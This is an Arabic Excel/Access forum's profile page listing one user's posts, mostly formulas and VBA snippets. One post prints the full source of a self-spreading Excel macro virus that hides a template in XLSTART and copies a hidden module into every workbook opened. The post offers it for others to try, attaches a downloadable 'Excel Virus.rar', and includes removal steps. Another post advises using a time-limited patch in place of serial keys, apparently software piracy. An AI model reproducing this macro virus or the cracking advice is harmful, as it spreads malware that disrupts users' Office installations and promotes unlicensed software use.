بحث مخصص من جوجل فى أوفيسنا
Custom Search
|
-
Posts
1,429 -
تاريخ الانضمام
-
تاريخ اخر زياره
-
Days Won
10
نوع المحتوي
المنتدى
مكتبة الموقع
معرض الصور
المدونات
الوسائط المتعددة
كل منشورات العضو محمد يحياوي
-
(موضوع مميز ) بعض الاكواد المنفصلة قد تهم البعض
محمد يحياوي replied to محمد يحياوي's topic in منتدى الاكسيل Excel
استدعاء بيانات من جدول قاعدة بيانات ضع قاعدة البيانات في مجلد المستندات ...يمكنك التعديل على اسماء الحقول المراد جلب بياناتها ... يمكنك التعديل على على مكان نسخ الجدول استدعاء بيانات من جدول قاعدة بيانات.rar -
الاخ الفاضل ايهاب على حد علمي ليس لذلك علاقة بالفيروسات ربما ذلك خطأ في الاوفيس نفسه اما عن كيف يضرب الفيروس فعند فتح الملف يشتغل الماكرو اذا كان ممكنا و الكود السابق مثال على ذلك لذلك اذا نزلت ملف اكسل (او اي ملف اوفيس) و كنت تشك في امره فمن الاحسن رفع الامان في الماكرو حتى لا يشتغل (الفايروس) ان جازت تسميته
-
(تمت الاجابة ) ممكن معادلة حساب السن (مميز)
محمد يحياوي replied to A7MED1969's topic in منتدى الاكسيل Excel
الاخ الفاضل استعمل المعادلة =INT((TODAY()-A1)/365.25) -
الاخوة الافاضل , الاساتذة الكرام اشكركم جزيل الشكر على اثراء الموضوع و كما قال الاخوة الكرام نحن نتعلم من اخطائنا فاشكر الاخوة الكرام مرة اخرى على جرأتهم و شجاعتهم في طرح هذه الاراء و اعود و اكرر الملف ليس به اي فيروس و التجربة مطلوبة للاطلاع على فحوى الموضوع و علاج المشكلة سهل و بسيط خاصة ان بعض الاساتذة قاموا بتجربته
-
الاخوة الافاضل اقدر شعوركم و حرصكم الشديد و كما قلت سابقا الموضوع الغرض منه تعليمي ... بالنسبة للملف ليس به اي فيروسات و الاخ يوسف عطا مكافح الفيروسات لديه حساس جدا ربما من التسمية فقط اما تاثيره فليس له تاثير الا على ملفات الاكسل و كما ادرجت الطريقة للتخلص من المشكلة و هي ليست بالصعبة و انا شخصيا الملف عندي في الجهاز و انا الذي قمت بتسميته ومكافح الفيروسات عندي قوي جدا (ESET smart security 5) على العموم هذا الكود لمن اراد التجربة Sub Auto_Open() If cek_global() Then 'check on global! (Optional to use) GoTo FuckSheet: 'found? Else infectglobal 'Goto to Infecting Routine End If FuckSheet: Application.OnSheetActivate = "XXX.XLM!Fuck" 'XXX.XLM is Template 'for Ur Virus 'Fuck is the MacroName 'for infecting bye: End Sub Function cek_global() As Boolean 'Yes/No (Flase/True) cek_global = False 'Set False First For x = 1 To Application.Workbooks.Count If Application.Workbooks(x).Name = "XXX.XLM" Then For y = 1 To Application.Workbooks("XXX.XLM").Modules.Count If Application.Workbooks("XXX.XLM").Modules(y).Name = "YYYYY" Then cek_global = True 'YYYYY is the module Name for Ur Code End If Next y End If Next x End Function Function infectglobal() Activebook = ActiveWorkbook.Name 'Get Active Workbook/WorkSheet Workbooks(activebook).SaveCopyAs Application.StartupPath + "\XXX.XLM" 'Make New Template (XXX.XLM) on Excel StarUp Directori (XLSTART) Workbooks.Open (Application.StartupPath + "\XXX.XLM") Windows("XXX.XLM").Visible = False 'Hide Dont let User See our move Application.Workbooks("XXX.XLM").Save 'Save it! End Function Sub Fuck() oactivebook = ActiveWorkbook.Name If inFuckIt() Then 'Check WorkSheet are they Infected?? GoTo bye2 'If Yes goto Bye2 Else 'If no ..... let`s doit!! End If Application.ScreenUpdating = False 'Hide from User Application.Windows("XXX.XLM").Visible = True Workbooks("XXX.XLM").Activate 'Activate XXX.XLM/Global/Template Sheets("YYYYY").Visible = True 'Activate/Open the Module Name Workbooks("XXX.XLM").Sheets("YYYYY").Copy Before:=Workbooks(oactivebook).Sheets(1) 'Copy Module from template to WorkSheet! Workbooks(oactivebook).Sheets("YYYY").Visible = False 'Hide Sheet !! on file Workbooks("XXX.XLM").Sheets("YYYYY").Visible = False 'Hide Sheet on Global/Template Windows("XXX.XLM").Visible = False 'Hide GLobal/Template bye2: Close End Sub Function inFuckIt() As Boolean 'Yes/No (False/True) activebook = ActiveWorkbook.Name 'Use Active WorkSheet inFuckIt = False 'set false first For y = 1 To Application.Workbooks(activebook).Modules.Count If Application.Workbooks(activebook).Modules(y).Name = "YYYYY" Then inFuckIt = True End If Next y End Function
-
1 - اُشهِد الله انني ما اردت في هذا الموضوع الا ان اثبت بعض مهارات الاكسل و امكاناته و خباياه 2 - اتبرأ امام الله ثم امامكم من اي استعمال سيئ لهذا الملف بهدف الاضرار بالاخرين 3 - الملف هو عبارة عن فيروس ملف اكسل حتى يعرف الاخوان مدى خطورة الماكروهات الضارة و الاحتراز منها 4 - عند فتح ملف جديد فانه يفتح ملف XXX.XLM و هو ملف اكسل وفيه رسالة خطأ 5 - عند فتح اي ملف اكسل فان الملف السابق يفتح معه و يبعث رسالة خطأ و يسبب ارباكا كبيرا 6 - يمكنك تجربة الملف لكن عندما تيأس و تصاب بالاحباط و تريد استعادة النظام او تبديل نسخة الاوفيس حاول حل المشكلة بالطريقة الاتية: من ادارة المهام (Ctrl + Shift+ Esc) او(Ctrl + Alt + Suppr) ...العمليات حدد Excel.exe ايقاف العملية ثم : - في WIN7 اتبع المسارC:\Users\Administrator\AppData\Roaming\Microsoft\Excel\XLSTART - في XP اتبع المسار C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTAR احذف الملف XXX.XLM ينتهي المشكل ان شاء الله Excel Virus.rar
-
(تمت الاجابة) ما طريقة جعل الكتابة شفافة في الاكسل
محمد يحياوي replied to اسامه ناصر's topic in منتدى الاكسيل Excel
الاخ الكريم "اسامة" ليس في اكسل شيئ يسمى علامة مائية و لاكن يمكن ذلك بسهولة رأس مخصص ------> الجهة الوسطى -----> ضغط على entetr من لوحة المفاتيح 20 مرة او 25 مرة-----> اكتب النص الذي تريد -----> من ايقونة تنسيق النص في الاعلى يمكنك تغيير الحجم و اللون و الشفافية -
(موضوع مميز ) بعض الاكواد المنفصلة قد تهم البعض
محمد يحياوي replied to محمد يحياوي's topic in منتدى الاكسيل Excel
الاخوة الافاضل سعد عابد جمال دغيدي شكرا جزيلا الاخ الفاضل محمد صالح شكرا على الكود الجميل ============================================== كود انشاء ملف وورد و تصدير بيانات اليه تصدير بيانات الى وورد.rar -
أبسط كود لتخفيض أمان الأكسس برمجياً لجميع نسخ الأوفيس
محمد يحياوي replied to أ / محمد صالح's topic in قسم الأكسيس Access
الاخ الفاضل "محمد صالح" لاحظ الرابط قد يفيدنا ربط الموضوعين مع بعض ملف تنفيذي -
أبسط كود لتخفيض أمان الأكسس برمجياً لجميع نسخ الأوفيس
محمد يحياوي replied to أ / محمد صالح's topic in قسم الأكسيس Access
الاستاذ الفاضل "محمد صالح" بارك الله فيك و كل عام و انت بخير الفكرة الرائعة لكن عندي بعض الملاحظات ... اولا الكود لا يعمل في في office2010 ثانيا الكود لا يعمل عندما يكون امان الماكرو مرتفعا الحقيقة جاءتني الفكرة منذ فترة و اردت تطبيقها على الاكسل لكني اصطدمت بمشكلة امان الماكرو فالكود لا يشتغل ما دام امان الماكرو مرتفعا لذك استعملت ملف رجستري يعمل قبل ملف الاكسل في ملف تنفيذي وننتظر ايجاد حل جذري لمشكلة امان الماكروا ... وفقك الله -
(موضوع مميز ) بعض الاكواد المنفصلة قد تهم البعض
محمد يحياوي replied to محمد يحياوي's topic in منتدى الاكسيل Excel
كود لتثبيت وظيفة اضافية بفرض ان الملف هو MyAddIn.xla و ان مسار الملف هو C:\MyAddIn.xla Sub InstallAddIn() Dim AI As Excel.AddIn Set AI = Application.AddIns.Add(Filename:="C:\MyAddIn.xla") AI.Installed = True End Sub -
او ضع الكود في حدث ThisWorkBook Private Sub Workbook_SheetActivate(ByVal Sh As Object) Range("A1").Select End Sub
-
كود غلق الجهاز بعد مدة من ترك ملف غير نشط
محمد يحياوي replied to محمد يحياوي's topic in منتدى الاكسيل Excel
الاخ الحبيب "سعد عابد" طول عمرك صاحب ذوق رفيع بارك الله فيك -
عمل وفك حمايه عن محرر الاكواد وليس الاكسل
محمد يحياوي replied to أيهاب ممدوح's topic in منتدى الاكسيل Excel
الاخ الفاضل الاستاذ "دغيدي" لا ارى ان هناك اي مشكلة في طرح الموضوع تستدعي حذفه بل بالعكس ارى انه يجب تدخل الادارة في هذا الموضوع لتوضيح سياسة المنتدى ازاء هكذا مواضيع و تحديد مقاييس معينة لوضع الملفات و النقاش الذي اثير حول الموضوع ليس به اي خلاف سوى انه لم يطرح من قبل ارى ان يعالج لا ان يحذف ... -
كود غلق الجهاز بعد مدة من ترك ملف غير نشط
محمد يحياوي replied to محمد يحياوي's topic in منتدى الاكسيل Excel
الاخوة الافاضل "محمد صالح" ، "احمد فضيلة" ، "ابو نصار" بارك الله فيكم و كل عام و انتم بخير -
كود غلق الجهاز بعد مدة من ترك ملف غير نشط
محمد يحياوي replied to محمد يحياوي's topic in منتدى الاكسيل Excel
الاستاذ العميد"دغيدي" مرورك شرفني و ثناؤك و سام... بارك الله فيك -
الاخ الحبيب لا تتعب نفسك في البحث جميع السريالات الموجودة لا تصلح عليك بالباتش صالح لمدة 6 اشهر و كرر العملية
-
(موضوع مميز) شرح بعض المعادلات وبعض الخصائص فى الاكسيل
محمد يحياوي replied to جمال الفار's topic in منتدى الاكسيل Excel
الاخ الحبيب "جمال الفار" اعمالك الجميلة تتوالى وفقك الله و رد غيبتك و نفعنا بك